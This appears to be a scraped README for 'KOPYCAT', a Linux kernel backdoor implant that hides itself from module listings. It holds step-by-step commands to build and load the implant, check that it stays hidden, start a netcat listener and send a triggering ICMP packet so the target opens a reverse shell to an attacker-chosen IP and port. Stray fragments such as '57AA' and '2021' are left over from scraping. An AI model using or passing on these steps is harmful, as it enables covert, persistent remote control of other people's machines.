KOPYCAT - Linux Kernel module-less implant (backdoor)
$ make
$ make trigger
$ sudo insmod kopycat.ko
insmod: ERROR: could not insert module kopycat.ko: Inappropriate ioctl for device
$
57AA
lsmod | grep kopycat
$ cat /proc/modules | grep kopycat
Launch nc listener:
$ nc -l 8087
Trigger the backdoor by sending ICMP packet with secret phrase:
$ sudo ./trigger <target_ip> <reversed_ip> <reversed_port>
2021